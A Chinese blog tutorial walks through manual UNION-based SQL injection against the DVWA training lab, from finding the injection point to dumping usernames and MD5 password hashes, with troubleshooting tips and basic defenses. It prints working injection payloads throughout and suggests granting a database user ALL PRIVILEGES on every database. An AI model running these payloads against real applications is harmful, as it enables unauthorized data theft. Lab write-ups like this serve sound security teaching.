目录
步骤 6:爆敏感数据 —— 提取 users 表中的账号密码
问题 2:order by 判断字段数时,所有 N 值都不报错?
问题 5:group_concat 函数失效,只显示一个表名?
问题 6:提交 Payload 后页面提示 “Invalid ID”?
合规免责声明
本文所讲解的 SQL 注入技术与实操流程,仅限在合法授权的靶场环境(如 DVWA)中学习使用,目标是帮助渗透测试新手理解漏洞原理、提升网络安全防护意识。严禁将相关技术用于未经授权的网络攻击,违者需承担相应的法律责任。网络安全的核心是 “攻防兼备”,学习攻击技术的目的是更好地构建防御体系。
手工注入核心流程

一、为什么要学手工 SQL 注入?
对于渗透测试新手而言,手工注入是理解 SQL 注入原理的必经之路—— 工具(如 SQLMap)虽然能自动化注入,但无法让你明白 “漏洞为什么存在”“Payload 为什么能生效”。
DVWA Low 级别的 SQL 注入模块,是新手入门的最佳场景:无 WAF 防护、无输入过滤、有回显结果,能完整复现 “从判断注入点到提取敏感数据” 的全流程。本文聚焦联合查询注入(有回显),解决新手 “只会复制粘贴 Payload、不懂底层逻辑” 的痛点。
二、前置准备:靶场环境配置
2.1 环境要求
- DVWA 靶场搭建:已通过 phpStudy 等工具部署 DVWA(若未部署,参考往期DVWA 靶场搭建:Windows11(phpstudy 搭建)(步骤 + 截图 + 常见问题)-CSDN博客);
- 安全级别设置:登录 DVWA 后,点击左侧「DVWA Security」,选择「Low」级别并提交;

- 进入注入模块:点击左侧「SQL Injection」,进入注入测试页面(页面显示 “Enter an ID” 输入框)。

2.2 核心原理铺垫
DVWA Low 级别 SQL 注入的漏洞根源:后端代码未对用户输入的 ID 参数做任何过滤,直接拼接 SQL 语句执行。后端核心代码(PHP):
$id = $_REQUEST['id'];
$sql = "SELECT first_name, last_name FROM users WHERE user_id = "$id";
当用户输入1时,执行的 SQL 语句为:
SELECT first_name, last_name FROM users WHERE user_id = "1";
当用户输入1'时,SQL 语句变为:
SELECT first_name, last_name FROM users WHERE user_id = "1'";
单引号闭合导致 SQL 语法错误,页面会返回报错信息 —— 这就是判断注入点的核心依据。

三、手工注入全流程实战(6 大步骤)
步骤 1:判断注入点 —— 确认漏洞是否存在
核心逻辑:通过单引号闭合测试和逻辑判断测试,验证用户输入是否被拼接到 SQL 语句中执行。
(1)单引号闭合测试
- 操作:在 ID 输入框中输入
1',点击「Submit」; - Payload 逻辑:单引号会闭合 SQL 语句中原本的引号,导致语法错误;
- 预期结果:页面返回 SQL 报错信息(如
You have an error in your SQL syntax...);
- 结果分析:报错说明用户输入的单引号被带入 SQL 执行,存在 SQL 注入漏洞。
(2)逻辑判断测试(进一步验证)
- 操作 1:输入
1' or1=1 #,点击 Submit;- Payload 逻辑:
1=1为真,#注释掉后面的 SQL 语句,执行后页面正常显示数据;
- Payload 逻辑:
- 结论:将所有账户都查询出来了,确认存在 SQL 注入漏洞。
步骤 2:确定字段数 —— 猜解查询结果的列数
核心逻辑:使用order by语句排序,通过报错与否判断字段数(order by N表示按第 N 列排序,N 超过实际字段数则报错)。
操作步骤
- 输入
1' order by 1 #→ 页面正常显示;
- 输入
1' order by 2 #→ 页面正常显示;
- 输入
1' order by 3 #→ 页面报错;
- Payload 逻辑:
order by按列排序,当 N=3 时报错,说明查询结果只有2 个字段; - 核心结论:当前 SQL 语句查询的字段数为 2,后续联合查询需匹配字段数才能显示结果。
步骤 3:爆库名 —— 获取当前数据库名称
核心逻辑:使用union select联合查询,拼接database()函数获取当前数据库名;联合查询要求前后查询的字段数一致。
操作步骤
- 输入
1' union select 1,database() #,点击 Submit; - Payload 拆解:
union select:联合查询,将两个查询结果合并;1:填充第一个字段(与前面查询的字段数匹配);database():MySQL 内置函数,返回当前数据库名称;#:注释掉后面的无用语句;
- 结果:页面除了显示原有数据,还会新增一行,显示当前数据库名 dvwa。
步骤 4:爆表名 —— 获取当前数据库中的表
核心逻辑:查询 MySQL 内置库information_schema中的tables表,该表存储了所有数据库的表信息;通过table_schema指定数据库名,table_name获取表名。
操作步骤
- 输入
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #,点击 Submit;- 若是遇到这个提示:
SELECT command denied to user 'dvwa'@'localhost' for table 'tables'这是权限不够的问题,解决方法,复制下面代码到数据库执行就可以,我是用phpmyadmin去执行的:
# 赋予dvwa用户本地访问的所有权限 GRANT ALL PRIVILEGES ON *.* TO 'dvwa'@'localhost' IDENTIFIED BY 'dvwa';
-
若是遇到这个,原因:联合查询中前后两个查询结果集的字段字符集 / 排序规则不一致(比如 DVWA 靶场表字段用
我试了很多方法都不管用,最后直接把mysql版本从五点几换到八点几就可以了。utf8_general_ci,而构造的 Payload 返回值用了gbk/latin1),MySQL 无法合并结果集导致报错。:

- 若是遇到这个提示:
- Payload 拆解:
group_concat(table_name):将所有表名拼接成一行显示(避免多行数据无法回显);information_schema.tables:存储所有表信息的系统表;table_schema='dvwa':筛选出属于 dvwa 数据库的表;
- 结果:页面显示 dvwa 数据库中的表名,核心目标表为 users(存储用户账号密码)。

步骤 5:爆字段名 —— 获取 users 表中的字段
核心逻辑:查询information_schema.columns表,该表存储了所有表的字段信息;通过table_name指定表名,column_name获取字段名。
操作步骤
- 输入
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,点击 Submit; - Payload 拆解:
information_schema.columns:存储所有字段信息的系统表;table_name='users':筛选出 users 表的字段;
- 结果:页面显示 users 表的字段名,核心敏感字段为 user_id、username、password。


步骤 6:爆敏感数据 —— 提取 users 表中的账号密码
核心逻辑:直接查询 users 表中的username和password字段,获取敏感数据。
操作步骤
- 输入
1' union select user,password from users #,点击 Submit; - Payload 拆解:
username,password:直接查询目标字段,字段数与前面一致(2 个);from users:指定查询的表;
- 结果:页面显示所有用户的账号和密码(密码为 MD5 加密格式,可通过在线工具解密)。
结果分析:例如显示admin:5f4dcc3b5aa765d61d8327deb882cf99,MD5 解密后密码为password—— 这就是 DVWA 的默认管理员密码。

四、新手高频问题排查(10 + 常见问题)
问题 1:输入 1' 后无报错,页面正常显示?
- 原因:靶场安全级别未设置为 Low(Medium 级别有过滤);
- 解决方案:重新进入「DVWA Security」,确认选择 Low 级别并提交。
问题 2:order by 判断字段数时,所有 N 值都不报错?
- 原因:
#注释符未生效(部分环境需用--+代替); - 解决方案:将 Payload 改为
1' order by 3 --+。
问题 3:union select 联合查询无回显?
- 原因 1:字段数不匹配(前面查询 2 个字段,联合查询只写了 1 个);
- 原因 2:前面的查询结果不为空,覆盖了联合查询结果;
- 解决方案:将 Payload 中的
1改为-1(让前面的查询无结果),例如-1' union select 1,database() #。
问题 4:爆库名时显示 Access denied?
- 原因:MySQL 用户权限不足,无法访问 information_schema 表;
- 解决方案:检查 DVWA 的数据库配置(config.inc.php),确保使用 root 账号连接 MySQL。
问题 5:group_concat 函数失效,只显示一个表名?
- 原因:MySQL 版本过低,不支持 group_concat 函数;
- 解决方案:改用
limit分页查询,例如1' union select 1,table_name from information_schema.tables where table_schema='dvwa' limit 0,1 #(limit 0,1 表示第 1 条数据)。
问题 6:提交 Payload 后页面提示 “Invalid ID”?
- 原因:输入的 Payload 格式错误(如多写 / 漏写单引号);
- 解决方案:检查 Payload 的引号闭合是否正确,例如
1' union select 1,2 #(末尾的 #必须加)。
问题 7:MD5 密码解密失败?
- 原因:密码是强哈希值,在线工具无对应彩虹表;
- 解决方案:使用专业 MD5 解密平台(如 CMD5),或尝试常见弱密码哈希值。

问题 8:靶场页面无法加载,显示数据库连接错误?
- 原因:phpStudy 中的 MySQL 服务未启动;
- 解决方案:打开 phpStudy,启动 MySQL 服务。
问题 9:联合查询时,字段顺序错误导致数据显示异常?
- 原因:前面的查询字段是
first_name,last_name,联合查询字段顺序不匹配; - 解决方案:调整联合查询的字段顺序,例如
union select username,password(两个字段对应)。
问题 10:输入 Payload 后页面跳转空白?
- 原因:浏览器缓存导致,或 Payload 长度超过限制;
- 解决方案:按 Ctrl+F5 强制刷新页面,简化 Payload 重新测试。
问题 11:爆数据时只显示部分用户?
- 原因:未使用 group_concat 函数,页面只显示第一条数据;
- 解决方案:在 Payload 中加入
group_concat(username,':',password),拼接所有数据。
五、基础防御建议
理解攻击流程后,防御 SQL 注入的核心思路是阻断用户输入与 SQL 语句的拼接,以下是 3 个基础防御方法:
- 输入过滤:对用户输入的参数进行过滤,转义单引号、双引号等特殊字符;
- 参数化查询(预编译语句):这是最有效的防御手段,将用户输入作为参数传递,而非直接拼接 SQL 语句;示例(PHP PDO):
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = :id"); $stmt->execute([':id' => $id]); - 最小权限原则:数据库用户仅授予必要的权限,避免使用 root 账号连接 Web 应用。
六、核心总结
本文以 DVWA Low 级别为靶场,完整讲解了联合查询注入的 6 大核心步骤:判断注入点→确定字段数→爆库名→爆表名→爆字段名→爆敏感数据。每个步骤都围绕 “原理 + Payload + 实操 + 分析” 展开,帮助新手摆脱 “抄 Payload 不懂原理” 的困境。
需要注意的是,本文仅覆盖基础有回显注入,实际渗透测试中还会遇到盲注、堆叠注入、WAF 绕过等复杂场景 —— 这些进阶内容将在后续付费专栏中详细讲解。
福利领取:关注专栏,回复「SQL 注入」即可领取《手工注入 Payload 速查表》+《注入流程思维导图 PDF》,助力新手快速掌握核心技巧!
七、提示
本文的基础注入流程仅适用于无防护的靶场环境,而真实企业环境中,SQL 注入的检测与绕过难度会大幅提升。后续专栏将深入讲解:
- 盲注(布尔盲注 / 时间盲注)的核心逻辑与实操;
- 堆叠注入的原理与 Payload 构造;
- 常见 WAF 的绕过技巧(如关键字拆分、编码转换);
- DVWA Medium/High 级别注入测试;关注专栏,解锁更多实战干货,从 “入门” 到 “实战”,稳步提升渗透测试技能!
26万+

被折叠的 条评论
为什么被折叠?



